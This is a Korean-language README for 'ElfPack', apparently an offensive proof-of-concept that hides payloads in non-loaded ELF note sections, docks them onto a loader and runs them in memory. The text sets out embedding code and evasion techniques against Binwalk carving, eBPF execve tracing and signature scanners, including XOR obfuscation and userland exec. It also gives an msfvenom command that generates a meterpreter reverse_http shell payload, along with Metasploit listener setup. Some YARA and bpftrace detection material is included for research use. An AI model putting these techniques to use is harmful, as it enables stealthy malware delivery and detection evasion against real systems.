ElfPack: ELF 바이너리 섹션 도킹을 통한 스테이지리스 페이로드 전달

주요 내용

• 페이로드 번들링 메커니즘 개요: 컴파일, 링킹 및 로딩
• 바이너리 호환성 및 전달 메커니즘에 대한 느슨하게 결합된 페이로드 생성
• 섹션의 자동 메모리 로딩 회피
• 구조화된 섹션 유형 사용
• 현장에서 ELF 섹션을 통한 로더에 페이로드 (재)부착. 자신의 페이로드 가져오기
• 분리된 사전 컴파일된 ELF 섹션을 사용한 서명 우회
• 페이로드 생성 파이프라인을 통한 로더에 드라이브 바이 페이로드 부착
• 팻 페이로드 바이너리 생성 및 바이너리 패커 회피 사례
• 복잡한 페이로드 패킹
• 페이로드 난독화 및 키 보호 옵션
• 정적 및 동적 페이로드 로딩 추적 저항. Binwalk 및 eBPF

페이로드 임베딩

컴파일 및 링킹을 통한 Hex-바이너리 포함

1. 기본 데이터 섹션 또는 텍스트에 직접: 일반적으로 컴파일러는 생성한 객체를 .data와 같은 섹션에 배치합니다.

payload.h:

const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

bin2c 또는 xxd -i payload.bin > payload.h와 같은 도구를 사용하여 수동으로 또는 헤더를 포함하여 달성합니다.

페이로드를 일반적인 방식으로 .text와 .data에 저장하는 것은 로딩 추적이 쉽고 실행을 위한 데이터 로딩의 행동 의미론을 분석할 수 있기 때문에 좋지 않은 생각입니다.

2. 별도 섹션에. 페이로드 데이터를 추가 섹션에 배치하거나 특정 변수가 특수 섹션에 나타나도록 할 수 있습니다. 이는 컴파일러 종속 메커니즘으로 달성됩니다. gcc에서는 __attribute__를 통해 수행됩니다. 이는 조금 낫지만 ELF의 생성 및 로딩 방식으로 인해 여전히 잘 추적됩니다.

char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* 스택 포인터 초기화 */
    init_sp (stack + sizeof (stack));

    /* 초기화된 데이터 초기화 */
    memcpy (&init_data, &data, &edata - &data);
}

3. 링커 바이너리 포함

어셈블러 종속적인 .incbin과 유사한 지시문으로 섹션을 생성하고 페이로드를 포함할 수 있습니다. 예: gcc -c payload.s 또는 ld -r -b payload.bin -o payload.o

.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

로더에서 다음과 같이 검색:

int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

참고: payload.bin에 완전히 기능하는 ELF를 포함할 수 있으며, 이는 여러 툴킷의 요소를 포함하는 "팻" 바이너리를 생성할 때 중요합니다.

참고: 이 작업을 수행하는 더 편리한 도구가 있습니다. 예를 들어 @graphitemaster의 INCBIN [링크]

또 다른 변형은 다음과 같은 인라인 ASM입니다:

/* 모든 임베디드 이미지에 대한 원시 이미지 데이터 */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* 모든 임베디드 이미지에 대한 이미지 구조체 */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

참고: 섹션 정의에서 PROGBITS를 주목하세요. 이는 중요할 것입니다.

컴파일러/링커 기반 페이로드 바이너리 포함은 이상적이지 않습니다

장단점이 있습니다:

• 임베딩 과정은 페이로드 로더 생성과 밀접하게 결합됩니다.
• 페이로드 형식 변경 시 문제가 발생할 수 있습니다.
• 기본적으로 데이터를 포함하는 섹션에는 PROGBITS 플래그가 설정되며, OS 로더가 기본적으로 메모리에 PT_LOAD합니다. 우리는 이를 원하지 않을 수 있습니다.

ELF 디스크/메모리 상의 섹션 표현

섹션 유형과 새 섹션에 설정된 플래그는 OS 로더가 실행 파일을 실행할 때 메모리에 로드할지 결정합니다. 일부 섹션은 기본적으로 자동으로 로드되지만, 다른 섹션은 그렇지 않습니다(예: .symtab, .strtab).

공격자 입장에서, 이로부터 어떤 효율성을 얻을 수 있을까요?

페이로드 임베딩: 두 번째 접근

1. 메모리 기본 로딩을 가정하는 플래그 설정을 피할 수 있습니다.

2. 메모리에 로드되지 않는 다른 유형의 섹션을 사용할 수 있습니다.

공급업체나 시스템 엔지니어는 다른 프로그램이 규정 준수 또는 호환성을 확인할 수 있도록 특수 정보로 객체 파일을 표시해야 할 수 있습니다. SHT_NOTE 유형의 섹션과 PT_NOTE 유형의 프로그램 헤더 요소가 이 목적으로 사용될 수 있습니다.

후자의 경우, 시스템 바이너리에서 이 유형의 섹션 사용을 볼 수 있습니다:

$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

내용을 검사할 수 있습니다:

$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

SHT_NOTE 섹션을 생성한 최종 결과는 ELF에서 다음과 같습니다:

추가로: SHT_NOTE는 필요한 경우 구조를 제공합니다(그리고 더 나아가 사용할 것입니다):

ELF 섹션 도킹

지금까지 우리는 섹션을 생성하고 OS 로더가 메모리에 로드하지 않도록 방지할 수 있었습니다. 해당 섹션은 현재 ELF 이미지에서 효과적으로 휴면 상태입니다. 로드하는 방법은 나중에 논의하겠습니다. 그러나 더 시급한 문제는 우리가 여전히 컴파일러 및 링커 수준에서 작업하고 있으며, 섹션은 최종 ELF 구조에 엮여 로더 코드가 그 내용을 참조하는 메모리 주소와 관계를 생성한다는 사실입니다.

만약 로더 컴파일 워크플로우 외부에서 임베디드 페이로드가 포함된 ELF 섹션을 만들고, 나중에 그 섹션을 로더 바이너리에 부착할 수 있다면 어떨까요?

이렇게 하면 로더 코드와 섹션 상호작용 간의 관계가 끊어집니다. 그런 다음 로더가 자체 외부 데이터 섹션을 찾고 로드하는 방법을 가르쳐, 느슨하게 결합된 방식으로 페이로드를 로더에 "도킹"할 수 있습니다.

개념적으로 우리의 목표는 다음과 같습니다:

• 로더는 페이로드 의미론과 엉키지 않아야 합니다.
• 페이로드 로딩 및 실행:
  • 로더 코드를 전혀 수정하지 않고?
  • OS 로더 ld.so(ELF 로더)를 사용하지 않고(페이로드의 세그먼트를 자동으로 메모리에 로드함)
• 현장에서 페이로드 (재)부착.

로더/페이로드(섹션 내) 관계는 이제 다음과 같아집니다:

그러면 로더에 페이로드 섹션을 도입하는 인젝터를 만들 수 있으며, 둘 다 코드 수준에서 작동하지 않고 바이너리 호환성만 필요합니다(그리고 로더가 어떤 페이로드 섹션이든 로드하는 방법을 인식하고 있음).

이러한 일반적인 ELF 섹션 도킹 설정에서 얻을 수 있는 몇 가지 결과:

1. 정적 ELF 로더는 페이로드 없이 자체적으로 배송될 수 있으며, 필요 시 섹션을 로드하고 그로부터 페이로드를 부트스트랩하는 메커니즘만 포함합니다.

2. 페이로드는 별도로 패키징되어 정적 스테이지로 언제든지 로더와 번들로 제공되거나 나중에 인젝터를 통해 부착될 수 있습니다. 페이로드는 종종 암호화될 수 있고, 필요한 경우 ELF 실행 파일 자체일 수 있으며, 로더가 페이로드의 구조를 알지 못하고 패키징 기능만 알면 됩니다.

3. 인젝터는 여러 바이너리(휴면 스테이지)의 섹션 부착을 중개하여 섹션을 구성하고 로더에 주입할 수 있습니다.

4. 실행 파일에 여러 리소스를 패킹하는 것과 비교하여 섹션 수준 구성에는 장점이 있습니다. 패커 처리 및 코드 탐지에 대한 오버헤드가 없습니다. 메모리 내 실행에 의존하고 패커가 바이너리를 파일 시스템으로 추출해야 하기 때문에 쉽게 패킹할 수 없는 다른 도구와 함께 여러 섹션을 운반하는 데 이점이 있습니다. (팻 바이너리 섹션 참조)

ELF 도킹 구성 요소:

이제 ELF 섹션 도킹 구성 요소에 대해 자세히 논의하겠습니다.

섹션별 ELF 인젝터:

배치: 후방 또는 현장 장점:

• 로더와 페이로드 간에 무관한 프록시
• 간소화된 페이로드 생성 파이프라인
• 필요한 경우 컴파일러 없이 현장에서 페이로드를 로더에 부착

섹션별 ELF 로더:

배치: 현장 장점:

• 부착된 페이로드에 무관함
• 자체 바이너리를 읽고 파싱하여 전체 ELF 또는 쉘코드(더 많은 가능성) 로드
• 쉘코드가 필요한 경우 이를 실행 가능한 ELF로 만들 수 있음(예: Metasploit의 mettle)
• 추적에서 mprotect() 호출이 보이지 않음
• 페이로드 위치와 일반 .DATA 배열 사이의 에어갭 분리
• 이는 추적기에 대한 추상화를 달성함
• 페이로드 자체에 인수를 받아 전달하는 기능

바이너리 페이로드:

장점:

• 페이로드는 제약이 적은 완전한 기능의 프로그램이며, 데이터, 세그먼트 LDD가 그대로 유지됨
• 공간에 구애받지 않고 고유하게 난독화될 수 있음(.NOTE 레코드는 가변 크기)
• 파일 시스템으로 추출되거나 목차의 일부로 실행될 수 있음(팻 페이로드 로더)
• 재배치가 필요 없으며 다른 로더에 체이닝될 수 있음
• 교차 부착 및 탐지 회피 예시: 로더 A가 로더 B의 페이로드를 읽음

회피 기회

ELF 섹션 인젝터/패커 강화:

• XOR된 페이로드, AES도 구현 가능
• XOR 키 메타데이터가 대역 외 워터마크에 저장됨
• XOR 키가 공개되지 않음
• 추가 XOR 데이터 난독화 가능

ELF 로더 강화:

• 기본적으로 XOR된 페이로드, AES도 구현 가능
• XOR 키 메타데이터가 대역 외 워터마크에서 채굴됨
• 필요한 경우 로더 실행 시간 != 페이로드 로드 시간 분리
• 데몬화 기능(userland exec 및 memfd_create 작업 가능)
• 페이로드 엔트로피 계산 및 안티-카빙 회피 가능성: Binwalk가 기본적으로 페이로드를 볼 수 없고, 카빙할 수 없음 (데모 예: msfvenom 페이로드 패킹)

ELF 섹션 도킹 툴킷별 로더 논의:

ELF 섹션 로더가 페이로드 런처와 함께 작동하는 방식에 대한 몇 마디:

로더는 메모리 내 페이로드 실행 메커니즘 중 하나를 활용할 수 있습니다:

• 옵션 A: SYS_Memfd_create ()

  • libreflect[링크]로 수행하지만 zombieant pre-loader[링크]로 수행할 수도 있음
  • 감지 가능성이 더 높은 수준: /proc/self/fd/의 익명 파일
    • sys_memfd_create (syscall #319) 사용
  • fork/exec를 수행하며, execve()에 대한 BPF 추적이 기록됨

• 옵션 B: Userland Exec (https://grugq.github.io/docs/ul_exec.txt)

  • 현재 libreflect로 수행됨. 좋은 인터페이스.
  • 로더를 할로우 아웃하고 페이로드로 덮어씀
  • sys_enter_exec / sys_exit_exec 호출 없음. execve()에 대한 BPF 추적이 포착되지 않음
  • 단점: 로더를 통해 데몬화할 수 없음(로더 메모리가 덮어쓰기로 사라짐) 하지만 페이로드는 실행될 때 자체적으로 데몬화할 수 있음: 쉘코드를 배송하는 것과 비교하여 ELF 바이너리를 배송하는 장점 

워크플로우 실행:

Binwalk의 회피 기회 (ELF 섹션 페이로드 vs MSF 페이로드):

eBPF 회피 vs ELF 섹션 패커:

탐지 도구:

YARA 검증기 및 테스트:

STIX 도구 정의:

ELFPack POC 빌드

• Cmake 사용 시: 깨끗한 빌드 전에 cmake --configure .를 실행하여 빌드 환경을 구성하십시오. 현재 CMAke 3.18을 지원합니다.
• ./build.sh

ELFPack 의존성:

• 이 POC에서는 https://github.com/rapid7/mettle의 libreflect 라이브러리를 사용합니다.
• 빌드되어 vendor/lib/reflect/libreflect.a 아래에 배포되지만, 필요한 경우 원래 저장소에서 다시 빌드할 수 있습니다.
• 런타임: BPF 및 bpftrace를 사용해보려면 배포판에 맞는 적절한 커널 헤더를 설치하십시오.

사용법

• 프론트엔드: run.sh 참조
• 백엔드: 이 PoC는 mettle metasploit 임플란트와 함께 작동하므로 MSF 서버에서 트래픽을 수신하려면 다음과 같이 aux/msfrc RC 파일을 사용하십시오:

msfconsole -r aux/triage/msfrc

• MSF 페이로드(mettle)는 다음과 같이 생성할 수 있습니다:

msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf

• BPF 추적은 다음과 같이 수행할 수 있습니다(root 필요):

sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt

• Python 바인딩을 통한 YARA 통합 예제는 aux/triage/elfpack_yar.py에서 볼 수 있습니다.

./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]